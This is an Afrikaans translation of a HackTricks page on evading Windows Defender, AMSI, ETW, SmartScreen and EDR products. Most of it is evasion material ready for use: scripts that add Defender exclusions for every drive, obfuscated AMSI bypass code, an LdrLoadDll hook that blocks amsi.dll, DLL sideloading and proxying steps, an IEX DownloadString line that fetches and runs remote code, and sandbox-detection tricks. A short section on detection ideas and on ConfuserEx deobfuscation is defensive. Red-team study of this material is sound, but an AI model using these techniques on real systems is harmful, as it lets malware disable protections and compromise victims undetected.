Antivirus (AV) Omseiling
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy is geskryf deur @m2rc_p!
Deaktiveer Defender
- defendnot: ân hulpmiddel om Windows Defender te laat ophou werk.
- no-defender: ân hulpmiddel om Windows Defender te laat ophou werk deur ân ander AV voor te gee.
- Disable Defender if you are admin
Installer-styl UAC-lokaas voor inmenging met Defender
Publieke loaders wat as game cheats vermom is, word dikwels as ongetekende Node.js/Nexe-installers gestuur wat eers die gebruiker vra om verhoogde regte en eers daarna Defender neuter. Die vloei is eenvoudig:
- Toets vir ân administratiewe konteks met
net session. Die opdrag slaag slegs wanneer die aanroeper admin rights het, dus dui ân mislukking aan dat die loader as ân standaard gebruiker loop. - Herbegin onmiddellik homself met die
RunAsverb om die verwagte UAC-toestemmingsprompt te veroorsaak terwyl die oorspronklike opdragreël bewaar word.
if (-not (net session 2>$null)) {
powershell -WindowStyle Hidden -Command "Start-Process cmd.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '/c ""`<path_to_loader`>""'"
exit
}
Slagoffers glo reeds dat hulle âcrackedâ sagteware installeer, so die bevestigingsprompt word gewoonlik aanvaar, wat die malware die regte gee wat dit benodig om Defender se beleid te verander.
Algemene MpPreference uitsluitings vir elke skyfletter
Sodra verhoogde regte verkry is, maksimeer GachiLoader-style chains Defender se blinde kolle in plaas daarvan om die diens heeltemal uit te skakel. Die loader maak eers die GUI-waghouer dood (taskkill /F /IM SecHealthUI.exe) en druk dan uiters wye uitsluitings sodat elke gebruikersprofiel, stelselgids en verwyderbare skyf nie geskandeer kan word nie:
$targets = @('C:\Users\', 'C:\ProgramData\', 'C:\Windows\')
Get-PSDrive -PSProvider FileSystem | ForEach-Object { $targets += $_.Root }
$targets | Sort-Object -Unique | ForEach-Object { Add-MpPreference -ExclusionPath $_ }
Add-MpPreference -ExclusionExtension '.sys'
Key observations:
- Die lus gaan deur elke aangekoppelde lĂȘerstelsel (D:, E:, USB sticks, ens.) so enige toekomstige payload wat ĂȘrens op die skyf afgegooi word, word geĂŻgnoreer.
- Die
.sys-uitbreiding-uitsluiting is vooruitdenkendâaanvallers hou die opsie oop om later unsigned drivers te laai sonder om weer aan Defender te raak. - Alle veranderinge beland onder
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions, wat later fases toelaat om te bevestig dat die uitsluitings voortduur of om dit uit te brei sonder om UAC weer te aktiveer.
Aangesien geen Defender-diens gestop word nie, bly naĂŻewe health checks âantivirus activeâ rapporteer selfs al raak real-time inspeksie daardie paaie nooit nie.
AV Evasion Methodology
Tans gebruik AVs verskillende metodes om te bepaal of ân lĂȘer kwaadwillig is of nie: static detection, dynamic analysis, en vir die meer gevorderde EDRs, behavioural analysis.
Static detection
Static detection word bereik deur bekende kwaadwillige strings of reekse van bytes in ân binary of script te flag en ook deur inligting uit die lĂȘer self te onttrek (bv. file description, company name, digital signatures, icon, checksum, ens.). Dit beteken dat die gebruik van bekende publieke tools jou makliker kan laat vasvang, aangesien dit waarskynlik al ontleed en as kwaadwillig aangemerk is. Daar is ân paar maniere om hierdie tipe opsporing te omseil:
- Encryption
As jy die binary enkripteer, sal AV geen manier hĂȘ om jou program te herken nie, maar jy sal ân soort loader nodig hĂȘ om die program in memory te ontsleutel en uit te voer.
- Obfuscation
Soms is dit alles wat nodig is om sommige strings in jou binary of script te verander om by AV verby te kom, maar dit kan tydrowend wees, afhangend van wat jy probeer obfusceer.
- Custom tooling
As jy jou eie gereedskap ontwikkel, sal daar geen bekende slegte signatures wees nie, maar dit verg baie tyd en moeite.
Tip
ân Goed manier om teen Windows Defender se static detection te toets is ThreatCheck. Dit verdeel basies die lĂȘer in meerdere segmente en laat Defender elke segment afsonderlik scan, so dit kan jou presies sĂȘ watter strings of bytes in jou binary geflag is.
Ek beveel sterk aan dat jy hierdie YouTube playlist oor praktiese AV Evasion kyk.
Dynamic analysis
Dynamic analysis is wanneer die AV jou binary in ân sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou browser se wagwoorde te decrypt en te lees, ân minidump op LSASS uitvoer, ens.). Hierdie deel kan ân bietjie moeiliker wees om teen te werk, maar hier is ân paar dinge wat jy kan doen om sandboxes te ontduik.
- Sleep before execution Afhangend van hoe dit geĂŻmplementeer is, kan dit ân goeie manier wees om AV se dynamic analysis te omseil. AVâs het ân baie korte tyd om lĂȘers te scan om nie die gebruiker se werkvloei te onderbreek nie, so die gebruik van lang sleeps kan die analise van binaries ontwrig. Die probleem is dat baie AV sandboxes net die sleep kan oorskiet, afhangend van hoe dit geĂŻmplementeer is.
- Checking machineâs resources Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders sou hulle die gebruiker se masjien vertraag. Jy kan hier ook baie kreatief wees, byvoorbeeld deur die CPU se temperatuur of selfs die fan speeds te kontroleer; nie alles word in die sandbox geĂŻmplementeer nie.
- Machine-specific checks As jy ân gebruiker wil teiken wie se workstation by die âcontoso.localâ domain aangesluit is, kan jy ân check op die rekenaar se domain doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het; as dit nie ooreenstem nie, kan jou program exit.
Dit blyk dat Microsoft Defender se Sandbox computername HAL9TH is, so jy kan vir die computer name in jou malware kyk voor detonasie; as die naam ooreenstem met HAL9TH beteken dit dat jy in Defender se sandbox is, en jy kan jou program laat exit.
.png)
Nog ân paar baie goeie wenke van @mgeeky vir teenwerk teen Sandboxes
.png)
Red Team VX Discord #malware-dev channel
Soos ons vroeĂ«r in hierdie post gesĂȘ het, sal public tools uiteindelik get detected word, so jy moet jouself iets afvra:
Byvoorbeeld, as jy LSASS wil dump, moet jy regtig mimikatz gebruik? Of kan jy ân ander projek gebruik wat minder bekend is en ook LSASS dump?
Die regte antwoord is waarskynlik laasgenoemde. Neem mimikatz as voorbeeld: dit is waarskynlik een van, zo nie die mees gevlagte stuk malware deur AVs en EDRs nie; al is die projek baie cool, dit is ook ân nagmerrie om daarmee te werk om rond AVs te kom, so soek net alternatiewe vir wat jy probeer bereik.
Tip
Wanneer jy jou payloads vir evasion wysig, maak seker om turn off automatic sample submission in Defender, en asseblief, ernstig, DO NOT UPLOAD TO VIRUSTOTAL as jou doel is om op die langtermyn evasion te bereik. As jy wil kyk of jou payload deur ân sekere AV opgespoor word, installeer dit op ân VM, probeer om die automatic sample submission af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
EXEs vs DLLs
Wanneer dit moontlik is, prioritiseer altyd die gebruik van DLLs vir evasion; volgens my ervaring word DLL files gewoonlik veel minder gedetecteer en ontleed, so dit is ân baie eenvoudige truuk om in sekere gevalle opsporing te vermy (as jou payload natuurlik ân manier het om as ân DLL te loop).
Soos ons in hierdie beeld kan sien, het ân DLL Payload van Havoc ân detection rate van 4/26 op antiscan.me, terwyl die EXE payload ân 7/26 detection rate het.
.png)
antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL
Nou gaan ons ân paar truuks wys wat jy met DLL files kan gebruik om baie meer stealthy te wees.
DLL Sideloading & Proxying
DLL Sideloading benut die DLL search order wat deur die loader gebruik word deur die slagoffer-program en kwaadwillige payload(s) langs mekaar te posisioneer.
Jy kan programme wat kwesbaar is vir DLL Sideloading nagaan met Siofra en die volgende powershell script:
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
Hierdie opdrag sal die lys van programme vatbaar vir DLL hijacking binne âC:\Program Files\â en die DLL-lĂȘers wat hulle probeer laai, uitset.
Ek beveel sterk aan dat jy verken DLL Hijackable/Sideloadable programs jouself, hierdie tegniek is redelik onopvallend as dit behoorlik gedoen word, maar as jy publiek-bekende DLL Sideloadable programs gebruik, kan jy maklik gevang word.
Net deur ân kwaadwillige DLL te plaas met die naam wat ân program verwag om te laai, sal dit nie noodwendig jou payload laai nie, omdat die program sekere spesifieke funksies binne daardie DLL verwag. Om hierdie probleem op te los, gebruik ons ân ander tegniek genaamd DLL Proxying/Forwarding.
DLL Proxying stuur die oproepe wat ân program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL deur, en behou sodoende die program se funksionaliteit en maak dit moontlik om die uitvoering van jou payload te hanteer.
Ek sal die SharpDLLProxy projek van @flangvik gebruik.
Dit is die stappe wat ek gevolg het:
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
Die laaste opdrag sal ons 2 lĂȘers gee: ân DLL-bronkode-sjabloon, en die oorspronklike hernoemde DLL.


Beide ons shellcode (encoded with SGN) en die proxy DLL het ân 0/26 detectiekoers op antiscan.me! Ek sou dit ân sukses noem.
.png)
Tip
Ek beveel sterk aan dat jy S3cur3Th1sSh1tâs twitch VOD oor DLL Sideloading kyk en ook ippsecâs video om meer in-diepte te leer oor wat ons bespreek het.
Misbruik van Forwarded Exports (ForwardSideLoading)
Windows PE modules can export functions that are actually âforwardersâ: instead of pointing to code, the export entry contains an ASCII string of the form TargetDll.TargetFunc. When a caller resolves the export, the Windows loader will:
- Load
TargetDllif not already loaded - Resolve
TargetFuncfrom it
Key behaviors to understand:
- If
TargetDllis a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32). - If
TargetDllis not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution.
This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain.
Example observed on Windows 11:
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
NCRYPTPROV.dll is nie ân KnownDLL nie, dus word dit opgelos via die normale soekvolgorde.
PoC (kopieer-plak):
- Kopieer die getekende stelsel-DLL na ân skryfbare gids
copy C:\Windows\System32\keyiso.dll C:\test\
- Plaas ân kwaadwillige
NCRYPTPROV.dllin dieselfde gids. ân Minimale DllMain is genoeg om kode-uitvoering te kry; jy hoef nie die doorgestuurde funksie te implementeer om DllMain te aktiveer nie.
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
if (reason == DLL_PROCESS_ATTACH){
HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
}
return TRUE;
}
- Aktiveer die forward met ân ondertekende LOLBin:
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
Waargenome gedrag:
- rundll32 (signed) laai die side-by-side
keyiso.dll(signed) - Terwyl dit
KeyIsoSetAuditingInterfaceoplos, volg die loader die forward naNCRYPTPROV.SetAuditingInterface - Die loader laai dan
NCRYPTPROV.dllvanafC:\testen voer syDllMainuit - As
SetAuditingInterfacenie geĂŻmplementeer is nie, kry jy eers âmissing APIâ fout nadatDllMainreeds geloop het
Jagwenke:
- Fokus op forwarded exports waar die teikenmodule nie ân KnownDLL is nie. KnownDLLs is gelys onder
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs. - Jy kan forwarded exports opnoem met gereedskap soos:
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
- Sien die Windows 11 forwarder-inventaris om na kandidate te soek: https://hexacorn.com/d/apis_fwd.txt
Opsporing/verdedigingsidees:
- Monitor LOLBins (e.g., rundll32.exe) wat signed DLLs van nie-stelselpaaie laai, gevolg deur die laai van nie-KnownDLLs met dieselfde basisnaam uit daardie gids
- Waarsku op proses-/module-kettings soos:
rundll32.exeâ non-systemkeyiso.dllâNCRYPTPROV.dllonder gebruikers-skryfbare paaie - Dwing code-integriteitsbeleid af (WDAC/AppLocker) en weier write+execute in toepassingsgidse
Freeze
Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods
Jy kan Freeze gebruik om jou shellcode op ân onopvallende wyse te laai en uit te voer.
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

Tip
Ontduiking is net ân kat-en-muisspeletjie â wat vandag werk, kan mĂŽre gedetekteer word, so moenie ooit net op een tool staatmaak nie; as dit moontlik is, probeer om verskeie ontwijkingstegnieke aan mekaar te koppel.
AMSI (Anti-Malware Scan Interface)
AMSI is geskep om âfileless malwareâ te voorkom. Aanvanklik kon AVs slegs lĂȘers op skyf skandeer, so as jy op een of ander manier payloads direk in geheue kon uitvoer, kon die AV niks doen om dit te voorkom nie, omdat dit nie genoeg sigbaarheid gehad het nie.
Die AMSI-funksie is geĂŻntegreer in hierdie komponente van Windows.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- Office VBA macros
Dit stel antivirus-oplossings in staat om skripgedrag te inspekteer deur skripinhoud bloot te stel in ân vorm wat onversleuteld en nie-geobfuskeer is nie.
Die uitvoering van IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') sal die volgende waarskuwing in Windows Defender veroorsaak.
.png)
Let daarop dat dit amsi: vooraf sit en dan die pad na die uitvoerbare program waarvandaan die skrip gehardloop het, in hierdie geval, powershell.exe
Ons het nie ân lĂȘer op die skyf neergesit nie, maar is steeds in die geheue gevang weens AMSI.
Boonop, beginne met .NET 4.8, word C#-kode ook deur AMSI gelei. Dit beĂŻnvloed selfs Assembly.Load(byte[]) om in-geheue uitvoering te laai. Daarom word dit aanbeveel om laer weergawes van .NET (soos 4.7.2 of laer) te gebruik vir in-geheue uitvoering as jy AMSI wil ontwyk.
Daar is ân paar maniere om om AMSI te kom:
- Obfuscation
Aangesien AMSI hoofsaaklik met statiese detections werk, kan dit ân goeie manier wees om die skripte wat jy probeer laai te wysig om detectie te ontwy.
Echter, AMSI het die vermoĂ« om skripte te deobfuskeer selfs al het dit meerdere lae, so obfuscation kan ân slegte opsie wees afhangend van hoe dit gedoen is. Dit maak dit nie noodwendig eenvoudig om te ontduik nie. Soms is dit egter genoeg om ân paar veranderlike name te verander en sal dit klaarkom, dus hang dit af van hoeveel iets gemerk is.
- AMSI Bypass
Aangesien AMSI geĂŻmplementeer word deur ân DLL in die powershell-proses (ook cscript.exe, wscript.exe, ens.) te laai, is dit moontlik om dit te manipuleer selfs wanneer ân ongeprivilegieerde gebruiker aan die gang is. As gevolg van hierdie fout in die implementering van AMSI, het navorsers verskeie maniere gevind om AMSI-skandering te ontwrig.
Forcing an Error
Om die AMSI-initialisering te dwing om te misluk (amsiInitFailed) sal daartoe lei dat daar geen skandering vir die huidige proses geĂŻnisieer word nie. Oorspronklik is dit bekend gemaak deur Matt Graeber en Microsoft het ân handtekening ontwikkel om wyer gebruik te voorkom.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Alles wat dit geneem het, was een reĂ«l powershell code om AMSI onbruikbaar te maak vir die huidige powershell-proses. Hierdie reĂ«l is natuurlik deur AMSI self gemerk, so ân paar wysigings is nodig om hierdie tegniek te gebruik.
Hier is ân gewysigde AMSI bypass wat ek vanaf hierdie Github Gist geneem het.
Try{#Ams1 bypass technic nÂș 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.MĂÂŁnĂÂŁg' + 'e@+nt.Auto@' + 'ĂÂŁtion.A' -join ''
$fdx = '@ms' + 'ĂÂŁInĂÂŁ' + 'tF@ĂÂŁ' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('ĂÂŁ','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('ĂÂŁ','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
Hou in gedagte dat dit waarskynlik gemerk sal word sodra hierdie pos verskyn, so jy moet geen kode publiseer as jou plan is om onopgemerk te bly nie.
Memory Patching
This technique was initially discovered by @RastaMouse and it involves finding address for the âAmsiScanBufferâ function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
Tip
Lees asseblief https://rastamouse.me/memory-patching-amsi-bypass/ vir ân meer gedetailleerde uiteensetting.
There are also many other techniques used to bypass AMSI with powershell, check out this page and this repo to learn more about them.
Blokkeer AMSI deur te verhoed dat amsi.dll gelaai word (LdrLoadDll hook)
AMSI word eers geĂŻnitialiseer nadat amsi.dll in die huidige proses gelaai is. ân Robuuste, taalâonafhanklike bypass is om ân userâmode hook op ntdll!LdrLoadDll te plaas wat ân fout teruggee wanneer die versoekte module amsi.dll is. Gevolglik laai AMSI nooit en vind daar geen skanne vir daardie proses plaas nie.
Implementasie-oorsig (x64 C/C++ pseudokode):
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
static pLdrLoadDll realLdrLoadDll;
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
if (module && module->Buffer){
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
// Pretend the DLL cannot be found â AMSI never initialises in this process
return STATUS_DLL_NOT_FOUND; // 0xC0000135
}
}
return realLdrLoadDll(path, flags, module, handle);
}
void InstallHook(){
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
// e.g., Microsoft Detours / MinHook / custom 14âbyte jmp thunk
}
Aantekeninge
- Werk oor PowerShell, WScript/CScript en pasgemaakte loaders (alles wat anders AMSI sou laai).
- Kombineer dit met die invoer van skripte via stdin (
PowerShell.exe -NoProfile -NonInteractive -Command -) om lang opdragreël-artefakte te vermy. - Is waargeneem by loaders wat deur LOLBins uitgevoer word (bv.
regsvr32watDllRegisterServeraanroep).
This tools https://github.com/Flangvik/AMSI.fail also generates script to bypass AMSI.
Verwyder die gedetekteerde handtekening
Jy kan ân hulpmiddel soos https://github.com/cobbr/PSAmsi en https://github.com/RythmStick/AMSITrigger gebruik om die gedetekteerde AMSI-handtekening uit die geheue van die huidige proses te verwyder. Hierdie hulpmiddel werk deur die geheue van die huidige proses vir die AMSI-handtekening te deursoek en dit dan oor te skryf met NOP-instruksies, wat dit effektief uit die geheue verwyder.
AV/EDR-produkte wat AMSI gebruik
Jy kan ân lys van AV/EDR-produkte wat AMSI gebruik vind by https://github.com/subat0mik/whoamsi.
Gebruik PowerShell weergawe 2 As jy PowerShell weergawe 2 gebruik, sal AMSI nie gelaai word nie, sodat jy jou skripte kan uitvoer sonder dat AMSI hulle skandeer. Jy kan dit so doen:
powershell.exe -version 2
PS-logboeking
PowerShell-logging is ân funksie wat jou toelaat om alle PowerShell-opdragte wat op ân stelsel uitgevoer word, te registreer. Dit kan nuttig wees vir ouditering en foutopsporing, maar dit kan ook ân probleem wees vir aanvallers wat opsporing wil ontduik.
To bypass PowerShell logging, you can use the following techniques:
- Deaktiveer PowerShell-transkripsie en module-logging: Jy kan ân instrument soos https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs hiervoor gebruik.
- Gebruik PowerShell weergawe 2: As jy PowerShell weergawe 2 gebruik, sal AMSI nie gelaai word nie, so jy kan jou skripte uitvoer sonder dat AMSI dit skandeer. Jy kan dit doen:
powershell.exe -version 2 - Gebruik ân Unmanaged Powershell-sessie: Gebruik https://github.com/leechristensen/UnmanagedPowerShell om ân PowerShell-sessie sonder verdedigingsmeganismes te skep (dit is wat
powerpickvan Cobal Strike gebruik).
Obfuskering
Tip
Verskeie obfuskeringstegnieke berus op die enkripsie van data, wat die entropy van die binary sal verhoog en dit vir AVs en EDRs makliker sal maak om dit op te spoor. Wees versigtig hiermee en gebruik enkripsie moontlik slegs op spesifieke gedeeltes van jou kode wat sensitief is of weggesteek moet word.
Deobfuskering van ConfuserEx-beskermde .NET-binaries
Wanneer jy malware analiseer wat ConfuserEx 2 (of kommersiĂ«le vorke) gebruik, is dit algemeen om verskeie beskermingslae te ontmoet wat dekompilleerders en sandbokse sal blokkeer. Die onderstaande werkstroom herstel betroubaar ân byna oorspronklike IL wat daarna in C# gedekompileer kan word in gereedskap soos dnSpy of ILSpy.
- Anti-tampering-verwydering â ConfuserEx enkripteer elke method body en dekripteer dit binne die module statiese konstruktor (
<Module>.cctor). Dit patch ook die PE-checksum, sodat enige wysiging die binary laat crash. Gebruik AntiTamperKiller om die enkripteerde metadata-tabelle te vind, die XOR-sleutels te herwin en ân skoon assembly te herskryf:
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
Die uitset bevat die 6 anti-tamper-parameters (key0-key3, nameHash, internKey) wat nuttig kan wees wanneer jy jou eie unpacker bou.
- Simbool-/kontrole-vloei-herstel â voer die skoon lĂȘer in by de4dot-cex ( ân ConfuserEx-bewuste vork van de4dot).
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
Vlae:
âą -p crx â kies die ConfuserEx 2-profiel
âą de4dot sal control-flow flattening ongedaan maak, oorspronklike namespaces, klasse en veranderlike name herstel en konstante stringe dekripteer.
- Proxy-call-verwydering â ConfuserEx vervang direkte metode-oproepe met liggewig-omslagters (ook bekend as proxy calls) om dekompilering verder te breek. Verwyder hulle met ProxyCall-Remover:
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
Na hierdie stap behoort jy normale .NET APIâs soos Convert.FromBase64String of AES.Create() te sien in plaas van ondoorgrondelike omslagfunksies (Class8.smethod_10, âŠ).
- Handmatige skoonmaak â hardloop die resulterende binary in dnSpy, soek na groot Base64-blobs of gebruik van
RijndaelManaged/TripleDESCryptoServiceProviderom die werklike payload te lokaliseer. Dikwels stoor die malware dit as ân TLV-geĂ«nkodeerde byte-array geĂŻnitialiseer binne<Module>.byte_0.
Die bogenoemde ketting herstel die uitvoeringsvloei sonder dat jy die kwaadwillige monster hoef te laat loop â nuttig wanneer jy op ân aflyn werkstasie werk.
đ ConfuserEx genereer ân pasgemaakte attribuut genaamd
ConfusedByAttributewat as ân IOC gebruik kan word om monsters outomaties te triage.
Eenreël
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
- InvisibilityCloak: C# obfuscator
- Obfuscator-LLVM: Die doel van hierdie projek is om ân open-source fork van die LLVM compilasie-suite te verskaf wat verhoogde sagteware-sekuriteit deur code obfuscation en tamper-proofing kan bied.
- ADVobfuscator: ADVobfuscator demonstreer hoe om die
C++11/14taal te gebruik om, tydens kompilasie, obfuscated code te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder die compiler te wysig. - obfy: Voeg ân laag van obfuscated operations by wat gegenereer word deur die C++ template metaprogramming framework, wat die lewe van iemand wat die toepassing wil crack ân bietjie moeiliker sal maak.
- Alcatraz: Alcatraz is ân x64 binary obfuscator wat in staat is om verskeie verskillende PE files te obfuscate, insluitend: .exe, .dll, .sys
- metame: Metame is ân eenvoudige metamorphic code engine vir arbitraire executables.
- ropfuscator: ROPfuscator is ân fijnkorrelige code obfuscation framework vir LLVM-supported tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuscates ân program op die assembly code vlak deur gewone instruksies in ROP chains te transformeer, wat ons natuurlike begrip van normale control flow dwarsboom.
- Nimcrypt: Nimcrypt is ân .NET PE Crypter geskryf in Nim
- inceptor: Inceptor kan bestaande EXE/DLL in shellcode omskakel en dit dan laai
SmartScreen & MoTW
Jy het dalk hierdie skerm gesien wanneer jy sekere uitvoerbare lĂȘers vanaf die internet aflaai en uitvoer.
Microsoft Defender SmartScreen is ân sekuriteitsmekanisme wat daarop gemik is om die eindgebruiker te beskerm teen die hardloop van potensieel kwaadwillige applications.
.png)
SmartScreen werk hoofsaaklik met ân reputasie-gebaseerde benadering, wat beteken dat seldsame afgelaaide applications SmartScreen sal aktiveer, en sodoende die eindgebruiker waarsku en verhinder om die lĂȘer uit te voer (alhoewel die lĂȘer steeds uitgevoer kan word deur op More Info -> Run anyway te klik).
MoTW (Mark of The Web) is ân NTFS Alternate Data Stream met die naam Zone.Identifier wat outomaties geskep word wanneer lĂȘers vanaf die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
.png)
Kontroleer die Zone.Identifier ADS vir 'n lĂȘer wat vanaf die internet afgelaai is.
Tip
Dit is belangrik om daarop te let dat executables wat met ân trusted signing certificate onderteken is, nie SmartScreen sal trigger nie.
ân Baie effektiewe manier om te voorkom dat jou payloads die Mark of The Web kry, is om dit in ân soort container soos ân ISO in te pak. Dit gebeur omdat Mark-of-the-Web (MOTW) nie op non NTFS volumes toegepas kan word nie.
.png)
PackMyPayload is ân hulpmiddel wat payloads in output containers inpak om Mark-of-the-Web te ontduik.
Voorbeeld gebruik:
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
Hier is ân demo om SmartScreen te omseil deur payloads binne ISO-lĂȘers te verpak met PackMyPayload

ETW
Event Tracing for Windows (ETW) is ân kragtige logmeganisme in Windows wat toepassings en stelselkomponente toelaat om gebeurtenisse te registreer. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadwillige aktiwiteite te monitor en op te spoor.
Soortgelyk aan hoe AMSI gedeaktiveer (omseil) word, is dit ook moontlik om die EtwEventWrite-funksie van die user-space proses dadelik terug te laat keer sonder om enige gebeurtenisse te registreer. Dit word gedoen deur die funksie in geheue te patch sodat dit onmiddellik terugkeer, wat ETW-logering vir daardie proses effektief uitskakel.
Meer inligting vind jy in https://blog.xpnsec.com/hiding-your-dotnet-etw/ and https://github.com/repnz/etw-providers-docs/.
C# Assembly Reflection
Om C# binaries in geheue te laai is al ân geruime tyd bekend en bly ân uitstekende manier om jou post-exploitation gereedskap te laat loop sonder om deur AV gevang te word.
Aangesien die payload direk in geheue gelaai word sonder om die skyf te raak, hoef ons slegs bekommerd te wees oor die patching van AMSI vir die hele proses.
Die meeste C2-frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskeie maniere om dit te doen:
- Fork&Run
Dit behels die spawn van ân nuwe offerproses, die inspuiting van jou post-exploitation kwaadwillige kode in daardie nuwe proses, die uitvoering van jou kwaadwillige kode en, wanneer klaar, die beĂ«indiging van die nuwe proses. Dit het beide voordele en nadele. Die voordeel van die fork-and-run-metode is dat uitvoering buite ons Beacon implant-proses plaasvind. Dit beteken dat as iets in ons post-exploitation aksie verkeerd loop of gevang word, daar ân veel groter kans is dat ons implant oorleef. Die nadeel is dat daar ân groter kans is om deur Behavioural Detections gevang te word.
.png)
- Inline
Dit gaan daaroor om die post-exploitation kwaadwillige kode in eie proses in te spuit. Op hierdie manier kan jy vermy om ân nuwe proses te skep wat deur AV gescan word, maar die nadeel is dat as iets verkeerd loop met die uitvoering van jou payload, daar ân veel groter kans is om jou beacon te verloor aangesien dit kan crash.
.png)
[!TIP] As jy meer wil lees oor C# Assembly loading, sien hierdie artikel https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ en hul InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
